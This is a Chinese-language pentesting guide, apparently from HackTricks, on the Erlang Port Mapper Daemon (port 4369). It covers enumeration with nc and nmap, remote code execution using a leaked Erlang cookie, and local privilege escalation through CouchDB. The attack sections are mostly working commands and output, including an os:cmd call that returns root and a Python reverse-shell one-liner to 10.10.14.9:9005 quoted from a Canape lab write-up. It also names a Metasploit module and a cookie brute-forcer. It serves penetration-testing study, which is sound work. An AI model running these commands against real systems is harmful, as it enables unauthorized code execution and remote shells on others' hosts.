# 4369 - Pentesting Erlang Port Mapper Daemon (epmd)

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## 基本信息

**Erlang Port Mapper Daemon (epmd)** 作为分布式Erlang实例的协调器。它负责将符号节点名称映射到机器地址，从根本上确保每个节点名称与特定地址相关联。**epmd**的这一角色对于不同Erlang节点在网络中的无缝交互和通信至关重要。

**默认端口**：4369

```
PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
```

这在RabbitMQ和CouchDB安装中默认使用。

## 枚举

### 手动

```bash
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
```

### 自动

```bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672
```

## Erlang Cookie RCE

### 远程连接

如果你能**泄露认证cookie**，你将能够在主机上执行代码。通常，这个cookie位于`~/.erlang.cookie`中，并且是由erlang在第一次启动时生成的。如果没有修改或手动设置，它将是一个具有20个字符长度的随机字符串\[A:Z]。

```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
```

更多信息请查看<https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/>\
作者还分享了一个用于暴力破解 cookie 的程序:

{% file src="/files/0nP0kOff7ZgAmaoPqdHB" %}

### 本地连接

在这种情况下，我们将滥用CouchDB以在本地提升权限:

```bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```

从<https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution>中获取的示例\
您可以使用**Canape HTB机器**来**练习**如何**利用此漏洞**。

### Metasploit

```bash
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
```

## Shodan

* `port:4369 "at port"`

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

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* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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